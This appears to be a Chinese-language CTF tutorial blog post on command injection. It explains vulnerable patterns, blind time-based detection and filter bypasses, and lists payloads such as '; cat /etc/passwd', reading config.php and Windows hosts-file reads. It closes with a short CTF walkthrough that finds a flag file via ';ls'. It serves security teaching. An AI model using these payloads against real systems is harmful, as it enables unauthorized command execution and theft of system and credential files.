Command Injection(命令注入)是 Web 題常見的漏洞類型之一:當應用把使用者輸入拼接到系統命令並執行,攻擊者就能插入額外指令讓伺服器執行未授權的命令、讀寫檔案或取得 shell。
前情提要:若你還沒熟悉基本 Shell 指令,建議先複習基本 Shell 概念,會讓下面的例子更容易理解喔~
system("ping " + user_input)
)且未妥善過濾或限制。exec
, system
, popen
, os.system
(Python)、Runtime.exec
(Java)等 API,並把未驗證/未過濾的參數傳入。使用者輸入直接跟在命令後面:os.system("ping -c 1 " + user_input)
若 user_input = "example.com; cat /etc/passwd"
→ 會執行 ping -c 1 example.com; cat /etc/passwd
輸出不回顯到網頁,但可以從行為差異(回應時間、響應長度、狀態碼)推斷命令執行結果。常用 sleep
或 ping
製造延時作為訊號。
例:example.com && sleep 5
→ 若回應延遲表示命令被執行。
應用會過濾某些字元(例如 ;
、&
、|
),但可利用其它分隔符或命令替代(反引號、$()
、||
、&&
、>
、$(echo ... | sh)
、環境變數展開等)或用 URL encode/hex encode/重複編碼繞過。
Windows 常用 &
、|
、^
、cmd /c
、PowerShell 表達。Payload 需依作業系統調整。
測試請在合法環境(自己的 lab / CTF 平台)操作,切勿攻擊未授權系統。
基本測錯(單引號/雙引號/分號):
; id
`id`
$(id)
&& id
|| id
取得系統資訊:
; whoami
; id
讀檔案:
; cat /etc/passwd
; head -n 20 /var/www/html/config.php
盲注(時間訊號):
; sleep 5
&& sleep 5
`sleep 5`
基本:
& whoami
& type C:\Windows\System32\drivers\etc\hosts
PowerShell:
; powershell -c "Get-ChildItem C:\"
打開網頁可以看到他叫我們make a request to the URL,在最後打上我們要的訊息
先隨便打個hello,可以看到出現了一隻牛,上面放了我們的訊息
加個;ls
來測試有沒有command injection
好欸有漏洞,可以看到一個叫falg.txt的,感覺就很像flag,用cat
指令看看
好欸這樣就獲得flag啦~
以上就是今天的內容啦
想看更多,記得明天再來喔~